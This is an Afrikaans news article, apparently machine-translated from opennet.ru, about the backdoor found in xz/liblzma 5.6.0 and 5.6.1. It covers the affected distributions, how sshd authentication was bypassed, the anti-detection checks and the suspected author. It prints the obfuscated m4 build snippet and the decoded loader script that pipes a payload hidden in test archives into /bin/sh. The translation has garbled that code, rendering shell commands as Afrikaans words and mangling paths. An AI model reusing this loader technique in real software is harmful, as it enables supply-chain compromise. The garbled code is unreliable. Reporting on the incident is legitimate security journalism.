'n Agterdeur is in die xz/liblzma-biblioteek ontdek wat toegang via sshd moontlik maak

In die XZ Utils-pakket, wat die liblzma-biblioteek en nutsprogramme insluit om met saamgeperste data in die ".xz"-formaat te werk, is 'n agterdeur (CVE-2024-3094) geïdentifiseer wat die onderskepping en wysiging van data moontlik maak wat deur toepassings geassosieer word. met die liblzma-biblioteek. Die hoofdoel van die agterdeur is die OpenSSH-bediener, wat in sommige verspreidings saam met die libsystemd-biblioteek gebundel word, wat op sy beurt liblzma gebruik. Deur sshd met 'n kwesbare biblioteek te koppel, kan aanvallers toegang tot die SSH-bediener kry sonder verifikasie.

Die agterdeur was teenwoordig in die amptelike vrystellings 5.6.0 en 5.6.1, gepubliseer op 24 Februarie en 9 Maart, wat daarin geslaag het om in sommige verspreidings en bewaarplekke te kom, byvoorbeeld Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide en 40-beta, openSUSE fabriek en tumbleweed, LibreELEC, Alpine edge, Solus, NixOS onstabiel, OpenIndiana, OpenMandriva rolling, pkgsrc stroom, Slackware stroom, Manjaro toets. Alle gebruikers van xz 5.6.0- en 5.6.1-vrystellings word aanbeveel om dringend terug te keer na weergawe 5.4.6.

Onder die faktore wat die probleem versag, kan opgemerk word dat die weergawe van liblzma met 'n agterdeur nie daarin geslaag het om deel te word van die stabiele vrystellings van groot verspreidings nie, maar het openSUSE Tumbleweed en Fedora 40-beta beïnvloed. Arch Linux en Gentoo het 'n kwesbare weergawe van zx gebruik, maar is nie vatbaar vir die aanval nie, want hulle pas nie die systemd-notify-pleister op openssh toe nie, wat veroorsaak dat sshd aan liblzma gekoppel word. Die agterdeur raak slegs x86_64-stelsels gebaseer op die Linux-kern en die Glibc C-biblioteek.

Die agterdeur-aktiveringskode is versteek in m4-makro's van die build-to-host.m4-lêer wat deur die outomaker-nutsmiddelstel gebruik word wanneer dit gebou word. Tydens samestelling, tydens die uitvoering van ingewikkelde verduisterde bewerkings gebaseer op argiewe (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), wat gebruik is om die korrektheid van operasie te toets, is 'n objeklêer met kwaadwillige kode gegenereer, wat ingesluit is in die liblzma-biblioteek en het die operasielogika sommige van sy funksies verander. Agterdeur-aktiverende m4-makro's is by die vrystellingtarballe ingesluit, maar was nie in die Git-bewaarplek nie. Terselfdertyd was kwaadwillige toetsargiewe in die bewaarplek aanwesig, m.a.w. die persoon wat die agterdeur geïmplementeer het, het toegang gehad tot beide die bewaarplek en die vrystellinggenereringsprosesse.

Wanneer liblzma in toepassings gebruik word, kan kwaadwillige veranderinge gebruik word om data te onderskep of te wysig, of om die werking van sshd te beïnvloed. Die kwaadwillige kode het veral die RSA_public_decrypt-funksie bedrieg om die sshd-verifikasieproses te omseil. Die agterdeur het beskerming teen opsporing ingesluit en het nie gemanifesteer toe die LANG- en TERM-omgewingsveranderlikes gestel is nie (d.w.s. wanneer die proses in die terminaal uitgevoer word) en die LD_DEBUG- en LD_PROFILE-omgewingsveranderlikes nie gestel is nie, en is ook net geaktiveer wanneer die /usr/sbin/sshd uitvoerbare lêer . Die agterdeur het ook 'n manier gehad om uitvoering in ontfoutomgewings op te spoor.

Die m4/build-to-host.m4-lêer het veral gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / gebruik null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

In die eerste konstruksie het die grep-operasie die lêer toetse/files/bad-3-corrupt_lzma2.xz gevind, wat, wanneer dit uitgepak is, die skrif gegenereer het: ####Hallo#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && verlaat 0 [ ! $(uname) = "Linux" ] && verlaat 0 [ ! $(uname) = "Linux" ] && verlaat 0 [ ! $(uname) = "Linux" ] && verlaat 0 [ ! $(uname) = "Linux" ] && verlaat 0 eval `grep ^srcdir= config.status` as toets -f ../../config.status; eval dan `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi uitvoer i=»((kop -c +1024 >/dev/null) && kop -c +2048 && (kop -c +1024 >/dev/ null) && kop -c +2048 && (kop -c +1024 >/dev/nul) && kop -c +2048 && (kop -c +1024 >/dev/nul) && kop -c +2048 && (kop - c +1024 >/dev/nul) && kop -c +2048 && (kop -c +1024 >/dev/nul) && kop -c +2048 && (kop -c +1024 >/dev/nul) && kop - c +2048 && (kop -c +1024 >/dev/nul) && kop -c +2048 && (kop -c +1024 >/dev/nul) && kop -c +2048 && (kop -c +1024 >/ dev/nul) && kop -c +2048 && (kop -c +1024 >/dev/nul) && kop -c +2048 && (kop -c +1024 >/dev/nul) && kop -c +2048 && ( kop -c +1024 >/dev/nul) && kop -c +2048 && (kop -c +1024 >/dev/nul) && kop -c +2048 && (kop -c +1024 >/dev/nul) && kop -c +2048 && (kop -c +1024 >/dev/nul) && kop -c +2048 && (kop -c +1024 >/dev/nul) && kop -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F rou —lzma1 -dc|/bin/sh ####Wêreld####

Hoe die aanvallers dit reggekry het om toegang tot die infrastruktuur van die xz-projek te kry, is nog nie ten volle uitgeklaar nie. Dit is ook nog nie duidelik hoeveel gebruikers en projekte gekompromitteer is as gevolg van die agterdeur nie. Die beweerde outeur van die agterdeur (JiaT75 - Jia Tan), wat argiewe met kwaadwillige kode in die bewaarplek geplaas het, het met Fedora-ontwikkelaars gekorrespondeer en trekversoeke aan Debian gestuur wat verband hou met die oorgang van verspreidings na die xz 5.6.0-tak, en het nie wek agterdog, aangesien hy deelgeneem het aan xz ontwikkel die afgelope twee jaar en is die tweede ontwikkelaar in terme van die aantal veranderinge wat gemaak is. Benewens die xz-projek, het die beweerde outeur van die agterdeur ook deelgeneem aan die ontwikkeling van die xz-java en xz-ingebedde pakkette. Boonop is Jia Tan 'n paar dae gelede ingesluit by die aantal onderhouders van die XZ Embedded-projek wat in die Linux-kern gebruik word.

Die kwaadwillige verandering is ontdek nadat oormatige SVE-verbruik en foute wat deur valgrind gegenereer is ontleed is wanneer via ssh aan Debian-sid-gebaseerde stelsels gekoppel is. Dit is opmerklik dat die xz 5.6.1-vrystelling veranderinge ingesluit het wat deur die beweerde outeur van die agterdeur voorberei is in reaksie op klagtes oor sshd-vertragings en ineenstortings wat ontstaan ​​het na die opgradering na die zx 5.6.0-weergawe met die agterdeur. Boonop het Jia Tan verlede jaar veranderinge aangebring wat onversoenbaar was met die "-fsanitize=adres"-inspeksiemodus, wat veroorsaak het dat dit tydens fuzz-toetsing gedeaktiveer is.

Bron: opennet.ru

Voeg 'n opmerking